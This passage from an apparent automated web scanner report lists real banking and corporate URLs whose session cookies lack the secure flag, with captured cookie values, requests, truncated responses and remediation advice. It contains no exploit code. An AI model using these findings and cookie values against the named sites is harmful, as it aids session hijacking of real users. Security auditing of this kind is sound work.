User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 404 Not Found
Date: Sun, 06 Feb 2011 17:42:20 GMT
Server: Apache/2.2.8 (Linux/SUSE)
Vary: accept-language,accept-charset
Accept-Ranges: bytes
P3P: policyref="http://www.traffictrack.de/w3c/p3p.xml", CP="ALL DSP COR NID"
Connection: close
Content-Type: text/html; charset=iso-8859-1
Content-Language: en
Content-Length: 1604

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" l
...[SNIP]...

9. SSL cookie without secure flag set previous next
There are 52 instances of this issue:

https://cibng.ibanking-services.com/cib/CEBMainServlet/Login
https://ebus.ota.org/default.aspx
https://online.americanexpress.com/myca/logon/us/action
https://rewards.americanexpress.com/myca/loyalty/us/rewards/mracctmgmt/acctsumm
https://splunk.webex.com/mw0305l/mywebex/default.do
https://www.blackberry.com/profile/
https://www.box.net/
https://www.slackinc.com/reprints/order.asp
https://www.slackinc.com/subscribe/newsubs/atshcstep1.asp
https://www.slackinc.com/subscribe/newsubs/otistep1.asp
https://www201.americanexpress.com/MobileWeb/index.jsp
https://www209.americanexpress.com/merchant/marketing-data/pages/home
https://www209.americanexpress.com/merchant/marketing-data/pages/marketingprograms
https://www209.americanexpress.com/merchant/marketing-data/pages/reportsandtrends
https://www212.americanexpress.com/dsmlive/dsm/OnlineSelf-Services/ConsumerLanding.do
https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/feefreeservices/pages/globalassist_allccsg_shareddetails.do
https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/fraudprotectioncenter/fraudprotectioncenter_homepage.do
https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/personal/cardmember/additionalproductsandservices/giftcardsandtravelerscheques/pass_markup_homepage.do
https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/personal/cardmember/additionalproductsandservices/giftcardsandtravelerscheques/travelerschequesandforeigncurrency.do
https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/privacystatement/internetprivacystatement.do
https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/smallbusiness/businesstravel/businesstravel.do
https://www212.americanexpress.com/dsmlive/dsm/dom/us/merchants/nonsecure/acceptthecard.do
https://www212.americanexpress.com/dsmlive/dsm/dom/us/merchants/nonsecure/manageyouraccount.do
https://www212.americanexpress.com/dsmlive/dsm/int/contactus/personalsavings.do
https://www212.americanexpress.com/dsmlive/dsm/int/fxip/fxinternationalpayments.do
https://www212.americanexpress.com/dsmlive/dsm/int/us/en/cmaproductspage.do
https://www213.americanexpress.com/PowerLabsWeb/un/landingpage.htm
https://www257.americanexpress.com/openhome/smallbusiness.do
https://www295.americanexpress.com/entertainmentaccess/home.do
https://www295.americanexpress.com/premium/credit-card-travel-insurance/home.do
https://www295.americanexpress.com/premium/credit-report-monitoring/enquiry.do
https://axptravel.americanexpress.com/consumertravel/travel.do
https://home.americanexpress.com/home/corporations.shtml
https://home.americanexpress.com/home/global_splash.html
https://home.americanexpress.com/home/mt_personal.shtml
https://lct.salesforce.com/
https://online.americanexpress.com/myca/acctsumm/us/action
https://sb.voicefive.com/b
https://www.americanexpress.com/airlines-credit-card/
https://www.americanexpress.com/credit-card-rewards/
https://www.americanexpress.com/gift/giftcardslanding.shtml
https://www.americanexpress.com/gold-card/
https://www.americanexpress.com/no-annual-fee-credit-cards/
https://www.blackberry.com/partnerzone/Forward.action
https://www.blackberry.com/partnerzone/Login.action
https://www.openforum.com/
https://www.xing.com/
https://www134.americanexpress.com/consumertravel/travel.do
https://www152.americanexpress.com/premium/credit-card-travel-insurance/home.do
https://www209.americanexpress.com/merchant/mainpagedom/authreg_showMainpage.do
https://www217.americanexpress.com/cards/home.do
https://www217.americanexpress.com/cards/shopping/index.jsp

Issue background

If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.

Issue remediation

The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.

9.1. https://cibng.ibanking-services.com/cib/CEBMainServlet/Login previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://cibng.ibanking-services.com
Path:	/cib/CEBMainServlet/Login

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

sessionId=nullCookie; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /cib/CEBMainServlet/Login?FIORG=330&FIFID=124085066 HTTP/1.1
Host: cibng.ibanking-services.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

9.2. https://ebus.ota.org/default.aspx previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://ebus.ota.org
Path:	/default.aspx

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

ASP.NET_SessionId=mhaa2245vr3axrjmzmvva32q; path=/; HttpOnly
ASP.NET_SessionId=mhaa2245vr3axrjmzmvva32q; path=/; HttpOnly
.ASPXANONYMOUS=8MxU4RX8ywEkAAAAYjFkYjU3ZGMtNzQ1NC00YjdhLWJmMzEtMWNlYmQ2MGQ0ODU10; expires=Sat, 16-Apr-2011 09:08:41 GMT; path=/; HttpOnly
.ASPXANONYMOUS=8MxU4RX8ywEkAAAAYjFkYjU3ZGMtNzQ1NC00YjdhLWJmMzEtMWNlYmQ2MGQ0ODU10; expires=Sat, 16-Apr-2011 09:08:41 GMT; path=/; HttpOnly
language=en-US; path=/; HttpOnly

The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /default.aspx?tabid=168&appl_code=MEMBERS HTTP/1.1
Host: ebus.ota.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

9.3. https://online.americanexpress.com/myca/logon/us/action previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://online.americanexpress.com
Path:	/myca/logon/us/action

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

JSESSIONID=0000-HgLbQUjcZCcmLFEu-Z0nTH:14fidvuhe; Path=/
SaneID=10.10.14.1-1296942696685904; Path=/; expires=Tue, 09-Feb-16 21:51:36 GMT; domain=.americanexpress.com
NSC_nf3-x-vt-mphpo-b=ffffffff97a3d0fb45525d5f4f58455e445a4a42be89;path=/
sroute=353241610.58148.0000; path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /myca/logon/us/action HTTP/1.1
Host: online.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Found
Date: Sat, 05 Feb 2011 21:51:36 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=10.10.14.1-1296942696685904; Path=/; expires=Tue, 09-Feb-16 21:51:36 GMT; domain=.americanexpress.com
Location: https://online.americanexpress.com/myca/logon/us/en/en_US/common/sorry.jsp
Content-Length: 0
Set-Cookie: JSESSIONID=0000-HgLbQUjcZCcmLFEu-Z0nTH:14fidvuhe; Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
Set-Cookie: NSC_nf3-x-vt-mphpo-b=ffffffff97a3d0fb45525d5f4f58455e445a4a42be89;path=/
Content-Type: text/html
Content-Language: en-US
Connection: close
Set-Cookie: sroute=353241610.58148.0000; path=/

9.4. https://rewards.americanexpress.com/myca/loyalty/us/rewards/mracctmgmt/acctsumm previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://rewards.americanexpress.com
Path:	/myca/loyalty/us/rewards/mracctmgmt/acctsumm

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

JSESSIONID=0000OKmtIEweVktMqYkJjMqjy9o:14eu0tsf4; Path=/
SaneID=10.10.14.1-1296942739988089; Path=/; expires=Tue, 09-Feb-16 21:52:19 GMT; domain=.americanexpress.com
NSC_nf3-x-sx-bddu-b=ffffffff97a3d13e45525d5f4f58455e445a4a42ba91;path=/
sroute=554568202.58148.0000; path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /myca/loyalty/us/rewards/mracctmgmt/acctsumm HTTP/1.1
Host: rewards.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:52:19 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=10.10.14.1-1296942739988089; Path=/; expires=Tue, 09-Feb-16 21:52:19 GMT; domain=.americanexpress.com
Pragma: no-cache
Expires: Sat, 05 Feb 2011 21:52:19 GMT
LastModified: Sat, 05 Feb 2011 21:52:19 GMT
Set-Cookie: JSESSIONID=0000OKmtIEweVktMqYkJjMqjy9o:14eu0tsf4; Path=/
Cache-Control: no-store, no-cache=set-cookie
Set-Cookie: NSC_nf3-x-sx-bddu-b=ffffffff97a3d13e45525d5f4f58455e445a4a42ba91;path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Connection: close
Set-Cookie: sroute=554568202.58148.0000; path=/
Vary: Accept-Encoding, User-Agent
Content-Length: 48745

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html lang="en">
<head>
<title>
American Express - Mem
...[SNIP]...

9.5. https://splunk.webex.com/mw0305l/mywebex/default.do previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://splunk.webex.com
Path:	/mw0305l/mywebex/default.do

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

JSESSIONID=vG1dNNWKvTrnmZhJc7QHlY8p5PBcRt6fsv8sVgVQQ5zk46f6XVL2!-1021108312; path=/
NSC_kmkcwxm=404467a20838;path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /mw0305l/mywebex/default.do HTTP/1.1
Host: splunk.webex.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:59:22 GMT
Server: Apache
Content-Length: 3639
Set-Cookie: JSESSIONID=vG1dNNWKvTrnmZhJc7QHlY8p5PBcRt6fsv8sVgVQQ5zk46f6XVL2!-1021108312; path=/
P3P: CP="CAO DSP COR CURo ADMo DEVo TAIo CONo OUR BUS IND PHY ONL UNI PUR COM NAV DEM STA", policyref="/w3c/p3p.xml"
Set-Cookie: NSC_kmkcwxm=404467a20838;path=/
Connection: close
Content-Type: text/html

<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1">
<meta name="description" content="5">
<title>The Page Cannot be found</title>
</head>
<table width="
...[SNIP]...

9.6. https://www.blackberry.com/profile/ previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://www.blackberry.com
Path:	/profile/

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

JSESSIONID=JD69KcjTQatFpAIlL8-CEA**.node1; Path=/
BIGipServerMKEX04NA_HA_Web_Applications=539489546.20480.0000; path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /profile/ HTTP/1.1
Host: www.blackberry.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Sun, 06 Feb 2011 16:01:48 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8b mod_jk/1.2.26
X-Powered-By: Servlet 2.4; JBoss-4.2.3.GA (build: SVNTag=JBoss_4_2_3_GA date=200807181417)/JBossWeb-2.0
Content-Type: text/html;charset=UTF-8
Set-Cookie: JSESSIONID=JD69KcjTQatFpAIlL8-CEA**.node1; Path=/
Set-Cookie: BIGipServerMKEX04NA_HA_Web_Applications=539489546.20480.0000; path=/
Connection: close

<p> </p>
<font color="red">
<ul style="color:red;font-size:12pt;font-weight:bold;">

<ul>
<li><span class="errorMessage">Error loading the page. Reasons: hit this page in error
...[SNIP]...

9.7. https://www.box.net/ previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://www.box.net
Path:	/

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

PHPSESSID=63e9qo0i13m18idln9pja8irm0; path=/; domain=.box.net; HttpOnly
box_visitor_id=4d4dd6cd8da802.39031593; expires=Sun, 05-Feb-2012 23:01:33 GMT; path=/; domain=.box.net

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: www.box.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

9.8. https://www.slackinc.com/reprints/order.asp previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://www.slackinc.com
Path:	/reprints/order.asp

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

ASPSESSIONIDCACARTTB=MHBALOKCEGMPNINNPNAKBMPM; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /reprints/order.asp HTTP/1.1
Host: www.slackinc.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

9.9. https://www.slackinc.com/subscribe/newsubs/atshcstep1.asp previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://www.slackinc.com
Path:	/subscribe/newsubs/atshcstep1.asp

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

ASPSESSIONIDCACARTTB=KEBALOKCOFGEPEJFNBJCPGGJ; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /subscribe/newsubs/atshcstep1.asp HTTP/1.1
Host: www.slackinc.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 22:09:47 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 2544
Content-Type: text/html
Expires: Sat, 05 Feb 2011 22:08:47 GMT
Set-Cookie: ASPSESSIONIDCACARTTB=KEBALOKCOFGEPEJFNBJCPGGJ; path=/
Cache-control: no-cache

<html>
<head>
<title>Athletic Training & Sports Health Care Subscription</title>
</head>
<style>
a,body,td, p, blockquote, H5 { font-family: arial, helvetica, sans-serif; font-size:12px;
...[SNIP]...

9.10. https://www.slackinc.com/subscribe/newsubs/otistep1.asp previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://www.slackinc.com
Path:	/subscribe/newsubs/otistep1.asp

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

ASPSESSIONIDCACARTTB=JBBALOKCCLGHONAJLBLPKHGK; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /subscribe/newsubs/otistep1.asp HTTP/1.1
Host: www.slackinc.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 22:09:43 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 2526
Content-Type: text/html
Expires: Sat, 05 Feb 2011 22:08:43 GMT
Set-Cookie: ASPSESSIONIDCACARTTB=JBBALOKCCLGHONAJLBLPKHGK; path=/
Cache-control: no-cache

<html>
<head>
<title>Orthopaedics Today Europe Subscription</title>
</head>
<style>
a,body,td, p, blockquote, H5 { font-family: arial, helvetica, sans-serif; font-size:12px; }
H4 { font-
...[SNIP]...

9.11. https://www201.americanexpress.com/MobileWeb/index.jsp previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://www201.americanexpress.com
Path:	/MobileWeb/index.jsp

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

JSESSIONID=0001PGzoPxDqqpRWVuPalmTJrf8:11m1380s8;Path=/
SaneID=173.193.214.243-1296944526576342; path=/; expires=Tue, 09-Feb-16 22:22:06 GMT; domain=.americanexpress.com

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /MobileWeb/index.jsp HTTP/1.1
Host: www201.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:22:06 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=173.193.214.243-1296944526576342; path=/; expires=Tue, 09-Feb-16 22:22:06 GMT; domain=.americanexpress.com
Set-Cookie: JSESSIONID=0001PGzoPxDqqpRWVuPalmTJrf8:11m1380s8;Path=/
Cache-Control: no-cache="set-cookie,set-cookie2"
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Content-Length: 33070

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Co
...[SNIP]...

9.12. https://www209.americanexpress.com/merchant/marketing-data/pages/home previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://www209.americanexpress.com
Path:	/merchant/marketing-data/pages/home

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

mertkit_JSESSIONID=0000HmJMpZYY_G5msSiTYEScCWJ:15bvkpc1o; Path=/
BIGipServerwww260-443=252447242.47873.0000; path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /merchant/marketing-data/pages/home HTTP/1.1
Host: www209.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:22:11 GMT
Server: IBM_HTTP_Server
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: mertkit_JSESSIONID=0000HmJMpZYY_G5msSiTYEScCWJ:15bvkpc1o; Path=/
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Set-Cookie: BIGipServerwww260-443=252447242.47873.0000; path=/
Content-Length: 67227

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Con
...[SNIP]...

9.13. https://www209.americanexpress.com/merchant/marketing-data/pages/marketingprograms previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://www209.americanexpress.com
Path:	/merchant/marketing-data/pages/marketingprograms

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

mertkit_JSESSIONID=0000a-qFEyjWmRA77-ia4auLoKF:15bvkorqu; Path=/
BIGipServerwww260-443=873204234.47873.0000; path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /merchant/marketing-data/pages/marketingprograms?inav=menu_business_merchmarket HTTP/1.1
Host: www209.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

9.14. https://www209.americanexpress.com/merchant/marketing-data/pages/reportsandtrends previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://www209.americanexpress.com
Path:	/merchant/marketing-data/pages/reportsandtrends

Issue detail

The following cookies were issued by the application and do not have the secure flag set:

mertkit_JSESSIONID=000014rUJ6zb3offa-6mrx3LyBv:15bvkorqu; Path=/
BIGipServerwww260-443=873204234.47873.0000; path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /merchant/marketing-data/pages/reportsandtrends HTTP/1.1
Host: www209.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:22:17 GMT
Server: IBM_HTTP_Server
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: mertkit_JSESSIONID=000014rUJ6zb3offa-6mrx3LyBv:15bvkorqu; Path=/
Connection: close
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Set-Cookie: BIGipServerwww260-443=873204234.47873.0000; path=/
Content-Length: 47317

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<meta
...[SNIP]...

9.15. https://www212.americanexpress.com/dsmlive/dsm/OnlineSelf-Services/ConsumerLanding.do previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://www212.americanexpress.com
Path:	/dsmlive/dsm/OnlineSelf-Services/ConsumerLanding.do

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

dsmLive_JSESSIONID=0000sm8JxdH8S2k1shfy-P8NSQw:14qpqp2b7; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /dsmlive/dsm/OnlineSelf-Services/ConsumerLanding.do HTTP/1.1
Host: www212.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:23:30 GMT
Server: IBM_HTTP_Server
Set-Cookie: dsmLive_JSESSIONID=0000sm8JxdH8S2k1shfy-P8NSQw:14qpqp2b7; Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 13749

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">

...[SNIP]...

9.16. https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/feefreeservices/pages/globalassist_allccsg_shareddetails.do previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://www212.americanexpress.com
Path:	/dsmlive/dsm/dom/us/en/feefreeservices/pages/globalassist_allccsg_shareddetails.do

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

dsmLive_JSESSIONID=0000yMXBfzRiROj5OAfOa5QNbix:14qpqp8bv; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /dsmlive/dsm/dom/us/en/feefreeservices/pages/globalassist_allccsg_shareddetails.do HTTP/1.1
Host: www212.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:22:40 GMT
Server: IBM_HTTP_Server
Set-Cookie: dsmLive_JSESSIONID=0000yMXBfzRiROj5OAfOa5QNbix:14qpqp8bv; Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 32770

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>

<head>
<title>404 Error Page</title><META name="keywords" content="404 Error Page"><META name="description" content="404
...[SNIP]...

9.17. https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/fraudprotectioncenter/fraudprotectioncenter_homepage.do previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://www212.americanexpress.com
Path:	/dsmlive/dsm/dom/us/en/fraudprotectioncenter/fraudprotectioncenter_homepage.do

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

dsmLive_JSESSIONID=000090KnSa_PToPYn1Y9A6kHv8g:14qpqp8bv; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /dsmlive/dsm/dom/us/en/fraudprotectioncenter/fraudprotectioncenter_homepage.do HTTP/1.1
Host: www212.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:22:43 GMT
Server: IBM_HTTP_Server
Set-Cookie: dsmLive_JSESSIONID=000090KnSa_PToPYn1Y9A6kHv8g:14qpqp8bv; Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 32770

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>

<head>
<title>404 Error Page</title><META name="keywords" content="404 Error Page"><META name="description" content="404
...[SNIP]...

9.18. https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/personal/cardmember/additionalproductsandservices/giftcardsandtravelerscheques/pass_markup_homepage.do previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://www212.americanexpress.com
Path:	/dsmlive/dsm/dom/us/en/personal/cardmember/additionalproductsandservices/giftcardsandtravelerscheques/pass_markup_homepage.do

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

dsmLive_JSESSIONID=00000ddg062iZbtkKQLHV7glhsR:14qpqp8bv; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /dsmlive/dsm/dom/us/en/personal/cardmember/additionalproductsandservices/giftcardsandtravelerscheques/pass_markup_homepage.do HTTP/1.1
Host: www212.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:22:34 GMT
Server: IBM_HTTP_Server
Set-Cookie: dsmLive_JSESSIONID=00000ddg062iZbtkKQLHV7glhsR:14qpqp8bv; Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 32770

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>

<head>
<title>404 Error Page</title><META name="keywords" content="404 Error Page"><META name="description" content="404
...[SNIP]...

9.19. https://www212.americanexpress.com/dsmlive/dsm/dom/us/en/personal/cardmember/additionalproductsandservices/giftcardsandtravelerscheques/travelerschequesandforeigncurrency.do previous next

Summary

Severity:	Medium
Confidence:	Firm
Host:	https://www212.americanexpress.com
Path:	/dsmlive/dsm/dom/us/en/personal/cardmember/additionalproductsandservices/giftcardsandtravelerscheques/travelerschequesandforeigncurrency.do

Issue detail

The following cookie was issued by the application and does not have the secure flag set:

dsmLive_JSESSIONID=00000vjRd_mY3YpSpW5gdtG8i9S:14qpqp8bv; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /dsmlive/dsm/dom/us/en/personal/cardmember/additionalproductsandservices/giftcardsandtravelerscheques/travelerschequesandforeigncurrency.do HTTP/1.1
Host: www212.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:22:38 GMT
Server: IBM_HTTP_Server
Set-Cookie: dsmLive_JSESSIONID=00000vjRd_mY3YpSpW5gdtG8i9S:14qpqp8bv; Path=/
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Language: en-US
Content-Length: 32770

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>

<head>
<title>404 Error Page</title><META name="keywords" content="404 Error Page"><META name="description" content="404
...[SNIP]...

